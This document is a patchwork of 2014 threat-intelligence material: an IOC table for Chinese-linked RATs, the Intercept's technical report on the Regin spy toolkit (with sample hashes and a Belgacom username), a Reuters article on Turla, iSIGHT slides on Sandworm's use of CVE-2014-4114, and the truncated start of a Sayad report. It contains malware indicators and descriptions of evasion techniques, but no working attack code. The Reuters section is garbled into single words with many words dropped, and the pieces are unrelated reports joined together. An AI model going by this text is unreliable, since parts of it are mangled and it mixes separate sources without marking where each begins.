+netsvcs_0x%d +\MSREVT.SRG +/httpdocs/mm//ComMand.sec +/httpdocs/prx.sec +CmdShell closed. +get file ok %u bytes +ok sleep %d minutes. +can't open mmfile +Mozilla/4.0 (compatible;) +/dr.asp +Data type +File string / Network string +File string +File string +File string +Network string +Network string +File string +File string +File string +File string +User-Agent +Network string +Malware Family +PittyTiger RAT +PittyTiger RAT +Paladin RAT +Paladin RAT +MM RAT +MM RAT +MM RAT +CT RAT +CT RAT +Troj/ReRol.A +Troj/ReRol.A +Troj/ReRol.A +Public release +Threat Intelligence +The Eye of the Tiger +Copyright + 2014 Airbus Defence & Space - All rights reserved +Page : 58/58 +SECRET MALWARE IN EUROPEAN UNION ATTACK LINKED TO U.S. AND BRITISH INTELLIGENCE +Complex malware known as Regin is the suspected technology behind sophisticated cyberattacks conducted by U.S. and British intelligence agencies on the +European Union and a Belgian telecommunications company, according to security industry sources and technical analysis conducted by The Intercept. +Regin was found on infected internal computer systems and email servers at Belgacom, a partly state-owned Belgian phone and internet provider, following +reports last year that the company was targeted in a top-secret surveillance operation carried out by British spy agency Government Communications +Headquarters, industry sources told The Intercept. +The malware, which steals data from infected systems and disguises itself as legitimate Microsoft software, has also been identified on the same European Union +computer systems that were targeted for surveillance by the National Security Agency. +The hacking operations against Belgacom and the European Union were first revealed last year through documents leaked by NSA whistleblower Edward +Snowden. The specific malware used in the attacks has never been disclosed, however. +The Regin malware, whose existence was first reported by the security firm Symantec on Sunday, is among the most sophisticated ever discovered by researchers. +Symantec compared Regin to Stuxnet, a state-sponsored malware program developed by the U.S. and Israel to sabotage computers at an Iranian nuclear facility. +Sources familiar with internal investigations at Belgacom and the European Union have confirmed to The Intercept that the Regin malware was found on their +systems after they were compromised, linking the spy tool to the secret GCHQ and NSA operations. +Ronald Prins, a security expert whose company Fox IT was hired to remove the malware from Belgacom +s networks, told The Intercept that it was +the most +sophisticated malware + he had ever studied. +Having analyzed this malware and looked at the [previously published] Snowden documents, + Prins said, +m convinced Regin is used by British and American +intelligence services. +A spokesman for Belgacom declined to comment specifically about the Regin revelations, but said that the company had shared +every element about the attack +with a federal prosecutor in Belgium who is conducting a criminal investigation into the intrusion. +s impossible for us to comment on this, + said Jan Margot, a +spokesman for Belgacom. +s always been clear to us the malware was highly sophisticated, but ever since the clean-up this whole story belongs to the past for +In a hacking mission codenamed Operation Socialist, GCHQ gained access to Belgacom +s internal systems in 2010 by targeting engineers at the company. The +agency secretly installed so-called malware +implants + on the employees + computers by sending their internet connection to a fake LinkedIn page. The malicious +LinkedIn page launched a malware attack, infecting the employees + computers and giving the spies total control of their systems, allowing GCHQ to get deep +inside Belgacom +s networks to steal data. +The implants allowed GCHQ to conduct surveillance of internal Belgacom company communications and gave British spies the ability to gather data from the +company +s network and customers, which include the European Commission, the European Parliament, and the European Council. The software implants used in +this case were part of the suite of malware now known as Regin. +One of the keys to Regin is its stealth: To avoid detection and frustrate analysis, malware used in such operations frequently adhere to a modular design. This +involves the deployment of the malware in stages, making it more difficult to analyze and mitigating certain risks of being caught. +Based on an analysis of the malware samples, Regin appears to have been developed over the course of more than a decade; The Intercept has identified traces of +its components dating back as far as 2003. Regin was mentioned at a recent Hack.lu conference in Luxembourg, and Symantec +s report on Sunday said the +firm had identified Regin on infected systems operated by private companies, government entities, and research institutes in countries such as Russia, Saudi +Arabia, Mexico, Ireland, Belgium, and Iran. +The use of hacking techniques and malware in state-sponsored espionage has been publicly documented over the last few years: China has been linked to extensive +cyber espionage, and recently the Russian government was also alleged to have been behind a cyber attack on the White House. Regin further demonstrates that +Western intelligence agencies are also involved in covert cyberespionage. +GCHQ declined to comment for this story. The agency issued its standard response to inquiries, saying that +it is longstanding policy that we do not comment on +intelligence matters + and +all of GCHQ +s work is carried out in accordance with a strict legal and policy framework, which ensures that our activities are +authorised, necessary and proportionate. +The NSA said in a statement, +We are not going to comment on The Intercept +s speculation. +The Intercept has obtained samples of the malware from sources in the security community and is making it available for public download in an effort to +encourage further research and analysis. (To download the malware, click here. The file is encrypted; to access it on your machine use the password +infected. +What follows is a brief technical analysis of Regin conducted by The Intercept +s computer security staff. Regin is an extremely complex, multi-faceted piece of +work and this is by no means a definitive analysis. +In the coming weeks, The Intercept will publish more details about Regin and the infiltration of Belgacom as part of an investigation in partnership with Belgian +and Dutch newspapers De Standaard and NRC Handelsblad. +Origin of Regin +In Nordic mythology, the name Regin is associated with a violent dwarf who is corrupted by greed. It is unclear how the Regin malware first got its name, but the +name appeared for the first time on the VirusTotal website on March 9th 2011. +Der Spiegel reported that, according to Snowden documents, the computer networks of the European Union were infiltrated by the NSA in the months before the +first discovery of Regin. +Industry sources familiar with the European Parliament intrusion told The Intercept that such attacks were conducted through the use of Regin and provided +samples of its code. This discovery, the sources said, may have been what brought Regin to the wider attention of security vendors. +Also on March 9th 2011, Microsoft added related entries to its Malware Encyclopedia: +Alert level: Severe +First detected by definition: 1.99.894.0 +Latest detected by definition: 1.173.2181.0 and higher +First detected on: Mar 09, 2011 +This entry was first published on: Mar 09, 2011 +This entry was updated on: Not available +Two more variants of Regin have been added to the Encyclopedia, Regin.B and Regin.C. Microsoft appears to detect the 64-bit variants of Regin as Prax.A and +Prax.B. None of the Regin/Prax entries are provided with any sort of summary or technical information. +The following Regin components have been identified: +Loaders +The first stage are drivers which act as loaders for a second stage. They have an encrypted block which points to the location of the 2nd stage payload. On NTFS, +that is an Extended Attribute Stream; on FAT, they use the registry to store the body. When started, this stage simply loads and executes Stage 2. +The Regin loaders that are disguised as Microsoft drivers with names such as: +serial.sys +cdaudio.sys +atdisk.sys +parclass.sys +usbclass.sys +Mimicking Microsoft drivers allows the loaders to better disguise their presence on the system and appear less suspicious to host intrusion detection systems. +Second stage loader +When launched, it cleans traces of the initial loader, loads the next part of the toolkit and monitors its execution. On failure, Stage 2 is able to disinfect the +compromised device. The malware zeroes out its PE (Portable Executable, the Windows executable format) headers in memory, replacing + with its own magic +marker 0xfedcbafe. +Orchestrator +This component consists of a service orchestrator working in Windows + kernel. It initializes the core components of the architecture and loads the next parts of the +malware. +Information Harvesters +This stage is composed of a service orchestrator located in user land, provided with many modules which are loaded dynamically as needed. These modules can +include data collectors, a self-defense engine which detects if attempts to detect the toolkit occur, functionality for encrypted communications, network capture +programs, and remote controllers of different kinds. +Stealth Implant +The Intercept +s investigation revealed a sample uploaded on VirusTotal on March 14th 2012 that presents the unique 0xfedcbafe header, which is a sign that it +might have been loaded by a Regin driver and it appears to provide stealth functionality for the tool kit. +This picture shows the very first bytes of the sample in question, showing the unique 0xfedcbafe header at the beginning. +In order to access information stored in the computer +s memory, programs use objects that reference specific locations in memory called pointers. This binary file +contains some of such pointers initialized, which corroborates the hypothesis that the file was dumped from memory during a forensic analysis of a compromised +system. +The sample has the following SHA256 hash: +fe1419e9dde6d479bd7cda27edd39fafdab2668d498931931a2769b370727129 +This sample gives a sense of the sophistication of the actors and the length of the precautions they have been taking in order to operate as stealthily as possible. +When a Windows kernel driver needs to allocate memory to store some type of data, it creates so called kernel pools. Such memory allocations have specific +headers and tags that are used to identify the type of objects contained within the block. For example such tags could be Proc, Thrd or File, which respectively +indicate that the given block would contain a process, thread or file object structure. +When performing forensic analysis of a computer +s memory, it is common to use a technique called pool scanning to parse the kernel memory, enumerate such +kernel pools, identify the type of content and extract it. +Just like Regin loader drivers, this driver repeatedly uses the generic +Ddk + tag with ExAllocatePoolWithTag() when allocating all kernel pools: +This picture shows the use of the +ddk + tag when allocating memory with the Windows ExAllocatePoolWIthTag() function. +The generic tag which is used throughout the operating system when a proper tag is not specified. This makes it more difficult for forensic analysts to find any +useful information when doing pool scanning, since all its memory allocations will mix with many generic others. +In addition, when freeing memory using ExFreePool(), the driver zeroes the content, probably to avoid leaving traces in pool memory. +The driver also contains routines to check for specific builds of the Windows kernel in use, including very old versions such as for Windows NT4 Terminal Server +and Windows 2000, and then adapts its behavior accordingly. +Windows kernel drivers operate on different levels of priority, from the lowest PASSIVE_LEVEL to the highest HIGH_LEVEL. This level is used by the processor +to know what service give execution priority to and to make sure that the system doesn +t try to allocate used resources which could result in a crash. +This Regin driver recurrently checks that the current IRQL (Interrupt Request Level) is set to PASSIVE_LEVEL using the KeGetCurrentIrql() function in many +parts of the code, probably in order to operate as silently as possible and to prevent possible IRQL confusion. This technique is another example of the level of +precaution the developers took while designing this malware framework. +Upon execution of the unload routine (located at 0xFDEFA04A), the driver performs a long sequence of steps to remove remaining traces and artifacts. +Belgacom Sample +In an interview given to the Belgian magazine MondiaalNiews, Fabrice Cl +ment, head of security of Belgacom, said that the company first identified the attack on +June 21, 2013. +In the same interview Cl +ment says that the computers targeted by the attackers included staff workstations as well as email servers. +These statements confirm the timing and techniques used in the attack. +From previously identified Regin samples, The Intercept developed unique signatures which could identify this toolkit. A zip archive with a sample identified as +Regin/Prax was found in VirusTotal, a free, online website which allows people to submit files to be scanned by several anti-virus products. The zip archive was +submitted on 2013-06-21 07:58:37 UTC from Belgium, the date identified by Cl +ment. Sources familiar with the Belgacom intrusion told The Intercept that this +sample was uploaded by a systems administrator at the company, who discovered the malware and uploaded it in an attempt to research what type of malware it +was. +The archive contains: +Along with other files The Intercept found the output of a forensic tool, GetThis, which is being run on target systems looking for malware. From the content of the +GetThis.log file, we can see that a sample called +svcsstat.exe + and located in C:\Windows\System32\ was collected and a copy of it was stored. +The malware in question is +0001000000000C1C_svcsstat.exe_sample +. This is a 64bit variant of the first stage Regin loader aforementioned. +The archive also contains the output of ProcMon, +Process Monitor +, a system monitoring tool distributed by Microsoft and commonly used in forensics and +intrusion analysis. +This file identifies the infected system and provides a variety of interesting information about the network. For instance: +USERDNSDOMAIN=BGC.NET +USERDOMAIN=BELGACOM +USERNAME=id051897a +USERPROFILE=C:\Users\id051897a +The following environment variable shows that the system was provided with a Microsoft SQL server and a Microsoft Exchange server, indicating that it might one +of the compromised corporate mail server Fabrice Cl +ment mentioned to Mondiaal News: +Path=C:\Program +Files\Legato\nsr\bin;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Program +Files\Microsoft Network Monitor 3\;C:\Program Files\System Center Operations Manager 2007\;c:\Program Files (x86)\Microsoft SQL +Server\90\Tools\binn\;D:\Program Files\Microsoft\Exchange Server\bin +Below is a list of hashes for the files The Intercept is making available for download. Given that that it has been over a year since the Belgacom operation was +publicly outed, The Intercept considers it likely that the GCHQ/NSA has replaced their toolkit and no current operations will be affected by the publication of +these samples. +Regin Samples +32-bit Loaders +20831e820af5f41353b5afab659f2ad42ec6df5d9692448872f3ed8bbb40ab92 +7553d4a5914af58b23a9e0ce6a262cd230ed8bb2c30da3d42d26b295f9144ab7 +f89549fc84a8d0f8617841c6aa4bb1678ea2b6081c1f7f74ab1aebd4db4176e4 +fd92fd7d0f925ccc0b4cbb6b402e8b99b64fa6a4636d985d78e5507bd4cfecef +225e9596de85ca7b1025d6e444f6a01aa6507feef213f4d2e20da9e7d5d8e430 +9cd5127ef31da0e8a4e36292f2af5a9ec1de3b294da367d7c05786fe2d5de44f +b12c7d57507286bbbe36d7acf9b34c22c96606ffd904e3c23008399a4a50c047 +f1d903251db466d35533c28e3c032b7212aa43c8d64ddf8c5521b43031e69e1e +4e39bc95e35323ab586d740725a1c8cbcde01fe453f7c4cac7cced9a26e42cc9 +a0d82c3730bc41e267711480c8009883d1412b68977ab175421eabc34e4ef355 +a7493fac96345a989b1a03772444075754a2ef11daa22a7600466adc1f69a669 +5001793790939009355ba841610412e0f8d60ef5461f2ea272ccf4fd4c83b823 +a6603f27c42648a857b8a1cbf301ed4f0877be75627f6bbe99c0bfd9dc4adb35 +8d7be9ed64811ea7986d788a75cbc4ca166702c6ff68c33873270d7c6597f5db +40c46bcab9acc0d6d235491c01a66d4c6f35d884c19c6f410901af6d1e33513b +df77132b5c192bd8d2d26b1ebb19853cf03b01d38afd5d382ce77e0d7219c18c +7d38eb24cf5644e090e45d5efa923aff0e69a600fb0ab627e8929bb485243926 +a7e3ad8ea7edf1ca10b0e5b0d976675c3016e5933219f97e94900dea0d470abe +a0e3c52a2c99c39b70155a9115a6c74ea79f8a68111190faa45a8fd1e50f8880 +d42300fea6eddcb2f65ffec9e179e46d87d91affad55510279ecbb0250d7fdff +5c81cf8262f9a8b0e100d2a220f7119e54edfc10c4fb906ab7848a015cd12d90 +b755ed82c908d92043d4ec3723611c6c5a7c162e78ac8065eb77993447368fce +c0cf8e008fbfa0cb2c61d968057b4a077d62f64d7320769982d28107db370513 +cca1850725f278587845cd19cbdf3dceb6f65790d11df950f17c5ff6beb18601 +ecd7de3387b64b7dab9a7fb52e8aa65cb7ec9193f8eac6a7d79407a6a932ef69 +e1ba03a10a40aab909b2ba58dcdfd378b4d264f1f4a554b669797bbb8c8ac902 +392f32241cd3448c7a435935f2ff0d2cdc609dda81dd4946b1c977d25134e96e +9ddbe7e77cb5616025b92814d68adfc9c3e076dddbe29de6eb73701a172c3379 +8389b0d3fb28a5f525742ca2bf80a81cf264c806f99ef684052439d6856bc7e7 +32-bit Rootkit +fe1419e9dde6d479bd7cda27edd39fafdab2668d498931931a2769b370727129 +32-bit Orchestrator +e420d0cf7a7983f78f5a15e6cb460e93c7603683ae6c41b27bf7f2fa34b2d935 +4139149552b0322f2c5c993abccc0f0d1b38db4476189a9f9901ac0d57a656be +64-bit Loader (Belgacom) +4d6cebe37861ace885aa00046e2769b500084cc79750d2bf8c1e290a1c42aaff +Photo credit: Winfried Rothermel/AP +Print +This +copy +for +your +personal, +non- +commercial +use +only. +order +presentation- +ready +copies +for +distribution +colleagues, +clients +customers, +use +the +Reprints +tool +the +top +any +article +visit: +www.reutersreprints.com. +Suspected +Russian +spyware +Turla +targets +Europe, +United +States +2:45pm +Peter +Apps +and +Jim +Finkle +LONDON/BOSTON +(Reuters) +sophisticated +piece +spyware +has +been +quietly +infecting +hundreds +government +computers +across +Europe +the +United +States +one +the +most +complex +cyber +espionage +programs +uncovered +date. +Several +security +researchers +and +Western +intelligence +officers +say +they +believe +the +malware, +widely +known +Turla, +the +work +the +Russian +government +and +linked +the +same +software +used +launch +massive +breach +the +U.S. +military +uncovered +2008. +was +also +linked +previously +known, +massive +global +cyber +spying +operation +dubbed +Red +October +targeting +diplomatic, +military +and +nuclear +research +networks. +Those +assessments +were +based +analysis +tactics +employed +hackers, +along +with +technical +indicators +and +the +victims +they +targeted. +"It +sophisticated +malware +that's +linked +other +Russian +exploits, +uses +encryption +and +targets +western +governments. +Russian +paw +prints +all +over +it," +said +Jim +Lewis, +former +U.S. +foreign +service +officer, +now +senior +fellow +the +Center +Strategic +and +International +Studies +Washington. +However, +security +experts +caution +that +while +the +case +for +saying +Turla +looks +Russian +may +strong, +impossible +confirm +those +suspicions +unless +Moscow +claims +responsibility. +Developers +often +use +techniques +cloud +their +identity. +The +threat +surfaced +this +week +after +little +known +German +anti- +virus +firm, +Data, +published +report +the +virus, +which +called +Uroburos, +the +name +text +the +code +that +may +reference +the +Greek +symbol +serpent +eating +its +own +tail. +Experts +state- +sponsored +cyber +attacks +say +that +Russian +government- +backed +hackers +are +known +for +being +highly +disciplined, +adept +hiding +their +tracks, +extremely +effective +maintaining +control +infected +networks +and +more +selective +choosing +targets +than +their +Chinese +counterparts. +"They +know +that +most +people +don't +have +either +the +technical +knowledge +the +fortitude +win +battle +with +them. +When +they +recognize +that +someone +onto +them, +they +just +dormant," +said +one +expert +who +helps +victims +state- +sponsored +hacking. +former +Western +intelligence +official +commented: +"They +can +draw +some +very +high +grade +programmers +and +engineers, +including +the +many +who +work +for +organized +criminal +groups, +but +also +function +privateers." +Russia's +Federal +Security +Bureau +declined +comment +did +Pentagon +and +U.S. +Department +Homeland +Security +officials. +Friday, +Britain's +BAE +Systems +Applied +Intelligence +the +cyber +arm +Britain's +premier +defense +contractor +published +own +research +the +spyware, +which +called +"snake." +The +sheer +sophistication +the +software, +said, +went +well +beyond +that +previously +encountered +although +did +not +attribute +blame +for +the +attack. +"The +threat... +really +does +raise +the +bar +terms +what +potential +targets, +and +the +security +community +general, +have +keep +ahead +cyber +attacks," +said +Martin +Sutherland, +managing +director +BAE +Systems +Applied +Intelligence. +NATO +NATIONS +TARGETED +Security +firms +have +been +monitoring +Turla +for +several +years. +Symantec +Corp +estimates +1,000 +networks +have +been +infected +Turla +and +related +virus, +Agent.BTZ. +named +victims, +saying +only +that +most +were +government +computers. +BAE +said +has +collected +over +100 +unique +samples +Turla +since +2010, +including +from +Ukraine, +from +Lithuania +and +from +Great +Britain. +obtained +smaller +numbers +from +other +countries. +Hackers +use +Turla +establish +hidden +foothold +infected +networks +from +which +they +can +search +other +computers, +store +stolen +information, +then +transmit +data +back +their +servers. +"While +seems +Russian, +there +way +know +for +sure," +said +Mikko +Hypponen, +chief +research +officer +with +Helsinki- +based +Secure, +which +encountered +Turla +last +year. +Security +firms +that +are +monitoring +the +threat +have +said +the +operation's +sophistication +suggests +was +likely +backed +nation +state +and +that +technical +indicators +make +them +believe +the +work +Russian +developers. +European +governments +have +long +welcomed +U.S. +help +against +Kremlin +spying, +but +were +infuriated +last +year +discover +scale +surveillance +America's +National +Security +Agency +that +stretched +also +their +own +territory. +AGENT.BTZ, +RED +OCTOBER +Security +experts +say +stealthy +Turla +belongs +the +same +family +one +the +most +notorious +pieces +spyware +uncovered +date: +Agent.BTZ. +was +used +massive +cyber +espionage +operation +U.S. +Central +Command +that +surfaced +2008 +and +one +the +most +serious +U.S. +breaches +date. +While +Washington +never +formally +attributed +blame, +several +U.S. +officials +have +told +Reuters +they +believed +was +the +work +Russia. +Hypponen +said +Agent.BTZ +was +initially +found +military +network +European +NATO +state +2008, +but +gave +details. +Secure +credited +with +naming +that +piece +malware +2008, +though +researchers +believe +was +created +already +2006. +Kaspersky +Lab +researcher +Kurt +Baumgartner +said +believes +Turla +and +Agent.BTZ +are +related +Red +October, +which +suddenly +shut +down +after +his +firm +reported +January +2013. +"Unusually +unique +artifacts +link +Red +October, +Agent.BTZ +and +Turla," +said, +referring +strings +text +contained +the +code +and +functionality +the +malware. +Eric +Chien, +technical +director +with +Symantec +Security +Response, +described +Turla +"the +evolution" +Agent.BTZ. +"They +are +very +active +development +group," +Chien +said. +Finland +said +its +Foreign +Ministry +computer +systems +had +been +penetrated +attack +last +year +but +would +not +elaborate. +Sweden's +National +Defence +Radio +Establishment +said +cyber +espionage +was +"more +common +than +people +think", +adding +that +had +discovered +multiple +attacks +against +authorities, +governments +and +universities, +some +only +detected +after +several +years. +Government +sources +the +Czech +Republic, +Estonia, +Poland +and +Romania +said +Turla +had +not +affected +them +directly. +Other +European +governments +contacted +Reuters +declined +comment. +CHASING +TURLA +Although +computer +security +researchers +have +been +quietly +studying +Turla +for +more +than +two +years, +public +discussions +threat +only +began +after +Data +published +its +report. +Data +spokesman +Eddy +Willems +declined +name +any +victims +identify +the +author +the +report, +saying +the +firm +concerned +the +group +behind +Turla +might +attempt +harm +him. +Jaime +Blasco, +director +AlienVault +Labs, +said +that +Turla +was +more +"framework" +for +espionage +than +simply +malware. +The +malware +"root +kit" +that +hides +the +presence +the +spying +operation +and +also +creates +hidden, +encrypted +file +system +store +stolen +data +and +tools +used +the +attackers, +said. +Those +tools +include +password +stealers, +tiny +programs +for +gathering +information +about +the +system +and +document +stealers. +The +operators +can +download +specialized +tools +onto +infected +system, +adding +any +functionality +they +want +including +the +encrypted +file +system, +Blasco +said. +They +have +used +dozens +different +"command +and +control" +servers +located +countries +around +the +world +control +infected +systems, +according +Symantec, +whose +researchers +have +helped +identify +and +shut +down +some +those +systems. +Researchers +say +Turla's +code +regularly +updated, +including +changes +avoid +detection +anti- +virus +companies +detect +strains. +BAE +said +had +two +samples +created +January +2014. +Chien +said +that +some +cases +when +command +and +control +server +was +taken +offline, +Turla's +operators +have +quickly +pushed +out +new +versions +the +malware +that +directed +infected +computers +new +command +and +control +servers. +"They +have +super +active +development +team," +said. +(Additional +reporting +Jan +Strouhal +Prague, +Marcin +Goeetig +Warsaw, +Guy +Faulconbridge +London, +Zoran +Radosavljevic +Zagreb, +Gwladys +Fouche +Oslo, +Matthias +Williams +Bucharest, +Gabriela +Baczynska +Moscow, +Alexandra +Hudson +Berlin, +Johan +Sennero +Stockholm, +Phil +Stewart +Washington; +Editing +Richard +Valdmanis +Ralph +Boulton) +Thomson +Reuters +2014. +All +rights +reserved. +Users +may +download +and +print +extracts +content +from +this +website +for +their +own +personal +and +non- +commercial +use +only. +Republication +redistribution +Thomson +Reuters +content, +including +framing +similar +means, +expressly +prohibited +without +the +prior +written +consent +Thomson +Reuters. +Thomson +Reuters +and +its +logo +are +registered +trademarks +trademarks +the +Thomson +Reuters +group +companies +around +the +world. +Thomson +Reuters +journalists +are +subject +Editorial +Handbook +which +requires +fair +presentation +and +disclosure +relevant +interests. +This +copy +for +your +personal, +non- +commercial +use +only. +order +presentation- +ready +copies +for +distribution +colleagues, +clients +customers, +use +the +Reprints +tool +the +top +any +article +visit: +www.reutersreprints.com. +Russian Cyber Espionage Campaign - Sandworm Team +Microsoft Windows Zero-day + Targeting NATO, EU, Telecom and Energy Sectors +CVE + 2014 - 4114 +An iSIGHT Partners Overview +Proprietary and Confidential Information. + Copyright 2014, iSIGHT Partners, Inc. All Rights Reserved +www.isightpartners.com +Key Points + Sandworm Campaign +Cyber Espionage Campaign attributed to Russia +Targeting includes + NATO + Ukraine + Poland + European Union + European Telecommunications + Energy Sector +Attribution to one of 5 active Russian intrusion teams monitored by iSIGHT Partners +Sandworm Team + Named for its affinity for/coded references to science fiction series Dune + Campaign partially detailed by researchers at F-Secure and ESET + captured only a small +component of targeting and missed critical elements +Utilizing Zero-day flaw in Microsoft Windows (CVE-2014-4114) +Spear-phishing campaign using weaponized Microsoft Office documents +Visibility into multiple PowerPoint lures +Impacts all versions of Windows from Vista to 8.1 +Windows Server 2008, 2012 +Flaw has existed for years +Zero-day nature of vulnerability leads to conclusion that intrusion +efforts were highly effective +Close collaboration between iSIGHT Partners and Microsoft - patch is being released on +Tuesday, October 14th +Proprietary and Confidential Information. + Copyright 2014, iSIGHT Partners, Inc. All Rights Reserved +www.isightpartners.com +Sandworm Campaign - Timeline of Events +Monitoring Sandworm Team from late 2013 and throughout 2014 +Genesis of team dates to as early as 2009 +Increased activity throughout 2014 +Visibility into this specific campaign began in December of 2013 +NATO alliance targeted as early as December 2013 +GlobeSec attendees targeted in May 2014 +June 2014 +Western European government agency +Polish energy firm targeted using CVE-2013-3906 +BlackEnergy variant configured with Base64-encoded reference to French telecommunications firm +Zero-day artifacts captured late August/early September (CVE-2014-4114) +Spear-phishing email and exploit targeting Ukranian government +Coinciding with NATO summit on Ukraine in Wales +At least one US organization fell victim + think tank/academia +iSIGHT Partners labs team discovered use of zero-day vulnerability on September 3, 2014 +Immediately notified targeted parties, clients across multiple government and private sector domains +Began working with Microsoft on September 5, 2014 +Provided technical analysis of vulnerability and the malware used to exploit it +Coordinated tracking of campaign +Monitoring for broader targeting and victimization +Monitoring for broader use of zero-day exploit in the wild +Purposely timing disclosure to coincide with the release of the patch +Minimizes potential for copy-cat exploit creation +Limits exposure to a broad reaching, severe vulnerability +Proprietary and Confidential Information. + Copyright 2014, iSIGHT Partners, Inc. All Rights Reserved +www.isightpartners.com +Sandworm Campaign - Timeline of Events +2009 +2013 2014 +Purposely timed disclosure to +coincide w/MSFT patch release +Late 2013 and +throughout 2014 +Genesis of Sand +Worm Team dates to +as early as 2009 + Monitoring of Sand +Worm Team + Traced to 2009 + Increased activity +throughout 2014 +May 2014 +June 2014 +GlobeSec +attendees +targeted + Western European government agency + Polish energy firm targeted (CVE-2013-3906) + BlackEnergy variant w/Base64-encoded +reference to French telecomm firm + Minimizes potential for copy-cat +exploit creation + Limits exposure to a broad +reaching, severe vulnerability +Timeline +September 2014 +Zero-day artifacts captured (CVE-2014-4114) +Spear-phishing email/exploit targeting Ukrainian government +Coinciding with NATO summit on Ukraine in Wales +At least one US org fell victim (think tank/academia +September 3, 2014 +September 5, 2014 + iSIGHT Partners labs discovers +zero-day vulnerability + Immediately notified targeted parties +and clients across government and +private sector domains + Began working with Microsoft + Provided technical analysis of vulnerability and malware used in exploit + Coordinated tracking of campaign + Monitoring for broader targeting and victimization + Monitoring for broader use of zero-day exploit in the wild +Proprietary and Confidential Information. + Copyright 2014, iSIGHT Partners, Inc. All Rights Reserved +www.isightpartners.com +Sandworm Campaign - Visible Targets +Poland +NATO +Sand Worm Team +Ukraine +France +Known Targets +Government +Academic +NATO +Energy +Telecom +Proprietary and Confidential Information. + Copyright 2014, iSIGHT Partners, Inc. All Rights Reserved +www.isightpartners.com +Sandworm Campaign - Spearfishing Lures +Spear-phishing attachment +GlobeSec Forum on Russia +Diplomacy spear-phishing +attachment +Proprietary and Confidential Information. + Copyright 2014, iSIGHT Partners, Inc. All Rights Reserved +Energy spear-phishing +attachment, specifically +crafted for Polish audience +www.isightpartners.com +Zero-day spear-phishing +attachment, purported list of +Russian sympathizers/ +terrorist + actors +Sandworm Campaign - Attribution +Russian Cyber Espionage +Marked increase in cyber espionage activities linked to Russia +Russia is increasing its cyber-espionage focus and the volume is up in +2014 +iSIGHT recently detailed activities of Tsar Team +Mobile malware targeting multiple platforms + Android, Windows, IOS +Targets include + Foreign militaries + Defense contractors + Ministries of foreign affairs + News organizations + NGOs and multilaterals + Jihadists +iSIGHT Partners believes +Sandworm Team has Russian +origins based on several +factors: +Files retrieved from an open directory on +a command and control server included +a directory listing in Russian and a help +file for the BlackEnergy Trojan also +written in Russian +Known targeting is consistent with +antagonists to NATO as well as Ukrainian +and European Union governments. +Sandworm is one of 5 active cyber intrusion teams linked to Russia +being monitored by iSIGHT Partners +Activities date back as far as 2009 +Identified through overlapping infrastructure, use of traditional +crimeware, unique references to Dune +Team has an affinity for using traditional cyber crime tools as a +component of its activities + BlackEnergy malware +Used at least 2 versions of BlackEnergy +BlackEnergy 2 + traditional crimeware +BlackEnergy 3 (Lite) +No documented use in crime + may have been +purpose built for Sandworm +Samples tied on basis of configuration to same combination of internal +proxies +Up to 7 proxies in common +Proprietary and Confidential Information. + Copyright 2014, iSIGHT Partners, Inc. All Rights Reserved +Social engineering is designed to appeal to +personnel involved in military and intelligence +operations against Russia such as a list of proRussian +terrorists + sent in an email. +BlackEnergy source code was released +through Russian e-crime channels. +www.isightpartners.com +List of Purported +pro-Russian +Terrorists +Cyber Espionage, Cyber Crime and Hacktivism +Blurring of Lines in Russia +Growing trend of blurred lines across cyber threat domains +Not just in Russia but more pronounced here recently +Russian overlap +Links between criminal activity and cyber espionage activity is not uncommon + Tools + Talent +Some examples + Zeus used in massive espionage campaign against US Government in 2008 +and again in 2012 + Pro-Russian hacktivism used BlackEnergy in the past during Georgian +conflict + Russians allegedly contracted a cyber crime actor in Georbot campaign +against Georgia + Attributed to Eshkinkot + Russian national named Vladimir A. +Lenskij + Georgie CERT claimed to have captured e-mail messages and docs +from Russian handlers +Instructing on how to use malware to record audio +Capture screen shots +Exfiltrate data +TEMP.Noble (another Russian intrusion actor monitored by iSIGHT) +Sensitive source indicates that malware components were developed through for +hire cyber crime forum +BlackEnergy +Criminal actors +Sandworm Team +Proprietary and Confidential Information. + Copyright 2014, iSIGHT Partners, Inc. All Rights Reserved +www.isightpartners.com +Details - Microsoft Windows Zero Day +CVE + 2014 + 4114 +Affects all supported versions of Microsoft +Windows +Windows Vista x64 Service Pack 2 +Windows Vista Service Pack 2 +Windows Server 2008 R2 x6 Service pack 1 +Windows Server 2008 Services Pack 2 +Windows Sever 2008 x64 Service Pack 2 +Windows Server 2012 +Windows Server 2012 R2 +Windows 7 Service pack 1 +Windows 7 x64 Service Pack 1 +Windows 8 x64 +Windows 8 +Windows 8.1 x64 +Windows 8.1 +Windows RT +Windows RT 8.1 + Exposed, dangerous method +vulnerability +Does not appear to affect Windows XP +Proprietary and Confidential Information. + Copyright 2014, iSIGHT Partners, Inc. All Rights Reserved +OLE package manager in Microsoft Windows and +Server +Vulnerability allows an attacker to remotely execute +arbitrary code +Windows allows OLE packager (packager .dll) to +download and execute INF files +In case of observed exploit, specifically when +handling Microsoft PowerPoint files: +Packager allows a Package OLE object to reference +arbitrary external files (such as INF) from untrusted +sources +Causes referenced files to be downloaded and +executed with specific commands +Attacker can exploit to execute arbitrary code +Needs specifically crafted file and social engineering +methods to convince user to open +www.isightpartners.com +Collaboration with Microsoft +iSIGHT Partners follows Responsible disclosure procedures +Targeted entities +Government and Law Enforcement +Impacted Software vendor(s) +Disclosed identification of zero-day 2 days after analysis +Began immediate collaboration with Microsoft +Microsoft +Supporting development of a patch +Tracking utilization of the vulnerability in the wild +Timed disclosure to minimize the potential for broader +victimization +Patch ready for release Tuesday, October 14th +Break in case of emergency + plan in place for past 5 weeks +Trigger: Broader propagation of malware targeting vulnerability +Trigger: Evidence of broader victimization +Proprietary and Confidential Information. + Copyright 2014, iSIGHT Partners, Inc. All Rights Reserved +www.isightpartners.com +Workarounds - Microsoft Windows Zero Day +CVE + 2014 + 4114 +Disable the WebClient Service +Impact +Block TCP ports 139 and 445 +Impact +Web Disributed Authoring and Versioning (WebDAV) requests are not +transmitted +Any service depending on Web Client service will not start +Ports 139 and 445 are used for additional services including Common Internet +File System (CIFS), DNS Administration, NetBT service sessions, printer sharing +sessions and more +Disabling could affect functionality of those services +Block launching of Executables via Setup Information Files +Impact +Applications that rely on the use of .INF file to execute an installer application +may not automatically execute +Proprietary and Confidential Information. + Copyright 2014, iSIGHT Partners, Inc. All Rights Reserved +www.isightpartners.com +Sayad (Flying Kitten) Infostealer + is this the work of the Iranian Ajax +Security Team? +Information stealing malware has become increasingly popular among malware authors targeting not just +typical end-users, but also specific organizations and states. We have come across an intriguing piece of +malware 